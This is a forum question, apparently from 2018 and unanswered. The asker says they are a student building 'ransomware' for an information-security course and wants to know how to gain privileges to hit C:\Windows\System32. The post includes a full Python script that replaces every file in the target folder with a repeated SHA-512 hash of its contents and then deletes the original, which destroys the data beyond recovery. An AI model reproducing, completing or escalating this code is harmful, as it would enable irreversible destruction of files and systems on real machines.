I want to be able to access system folders

0

I'm doing a ransomware for a college job (it will run on VMs) and I would like to hit a folder in the "System32" folder to "kill" the VM, but I need "power" and I do not know how to do that

The course is Information Security and my goal is to warn not to fall into false links or things like that, I can even make the final video of the work available here

Purpose: to "power" the code, making it able to encrypt a system folder

The code is this:

import hashlib
import os
import string
import sys


    #Windows - alvo
#c = 'C:\Users\teste\Desktop\teste' #win10
c = 'C:\Windows\System32' #win7


for files in os.listdir(c):
    os.chdir(c)
    with open(files, 'rb') as r:
        data = r.read()
        encrypt = hashlib.sha512(data).hexdigest()
        encrypt = encrypt.encode('utf-8') #resolveu o erro
        new_file = '(perdido)' +os.path.basename(files)
        with open(new_file, 'wb') as n:
            n.write(encrypt*0x31)
            n.close()
            r.close()

            os.remove(files)
    
asked by anonymous 05.10.2018 / 02:33

0 answers